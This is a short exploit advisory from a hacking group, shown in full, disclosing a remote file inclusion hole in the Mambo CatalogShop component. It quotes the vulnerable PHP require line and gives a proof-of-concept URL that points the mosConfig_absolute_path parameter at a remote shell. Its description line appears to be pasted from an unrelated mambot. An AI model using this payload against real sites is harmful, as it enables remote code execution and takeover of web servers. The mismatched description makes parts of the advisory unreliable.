###########################################################################################
    #      Aria-Security.net Advisory                                        #
    #      Discovered  by: O.U.T.L.A.W                                       #      #      < www.Aria-security.net >                                          #
    #    Gr33t to: A.U.R.A & Hessam-X & Cl0wn & DrtRp                          #
    #                                                      #
    ###########################################################################################


#Software: Mambo CatalogShop
#Attack method: Remote File Inclusion   
#Descriptio : This is a modified version of the FacileForms mambot, which allows you to add and view user comments and ratings below content in the categories setup in xtdratings. Just publish it!
#Source:

# Variables - Don't change anything here!!!
  require($mosConfig_absolute_path."/administrator/components/com_catalogshop/config.catalogshop.php");


************************************************************************************

                         
#Proof of Concept:                       
#http://www.site.com/catalogshop.php?mosConfig_absolute_path=shell
#                
#----------------------------------------------------------                               
#                                                         
#                                      
#Contact : Outlaw@aria-security.net